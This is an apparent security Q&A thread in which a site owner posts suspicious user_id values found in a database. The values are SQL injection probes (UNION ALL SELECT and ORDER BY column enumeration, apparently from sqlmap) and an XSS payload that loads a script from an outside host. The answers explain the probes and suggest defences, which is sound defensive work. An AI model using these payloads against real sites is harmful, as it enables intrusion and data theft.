Is this a SQL injection attack or is it some sort of bug?

Question

I was looking through some data in our database when I came across a bunch of weird user_id entries:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

It doesn't seem like anything malicious is being attempted, so part of me thinks this might have been caused by some sort of bug, but then again it is rather suspicious to see SQL inside data entries.

What could it be trying to do?

Here are a few more examples I found which may be interesting:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))

Answer 1

Have a look at "Union Injection" SQL attacks such as found here.

Basically, it's trying various methods to identify the number of columns in the query, looking for one which is successful. The order by lines attempt to detect the difference between data ordered by specific columns and an error caused by attempting to order by a non-existent column, while the select ones are trying to get a valid UNION command to work - this only works when the two queries being combined in a union have the same number of columns.

From the random letters at the end of some of the lines, it's likely to be someone running the sqlmap tool against your form, but the fact that you found them in your database is a good thing - it suggests that the attempt failed, although it's possible that these are just failed parts of a successful attack.

Answer 2

This is the result of someone trying to exploit an SQL injection on your site. Someone tried to detect if your website was vulnerable to a union-based injection. For all the records that you see, it doesn't seem to have worked.

You should check your access and error-logs for the affected timespan to see if any further requests were made.

One suspicious thing I noticed is that I don't see any entries containing double quotation marks (") which might indicate that they broke the functionality of the site or an injection using double quotation marks worked against your site.

You might want to check the relevant source code to see if proper sanitization of parameter values was done. This could also be explained if some other part of your setup blocked requests with double-quotation marks or injections with them were just not attempted.

Answer 3

In addition to the good answers already given, stating that these are probably signs of unsuccessful attempts, I would like to add that these user ids may be part of a more elaborate successful injection.

This is not purely theoretical. I have encountered situations where the results of one select query are used without proper input validation in a second query. The developer might only validate direct user input and (wrongly) assume that anything coming from the database is safe. So up until storing these user id values, nothing is wrong, but in subsequent queries the magic happens. Especially dangerous are integer fields turning into strings, as integers are often used without escaping or quotes.

Side note: it is very effective to log/notify each and every failing query, as it is almost impossible to do an injection on an unknown system without triggering at least some errors. Apart from this, no query should ever fail (as in: syntax error) in a production system.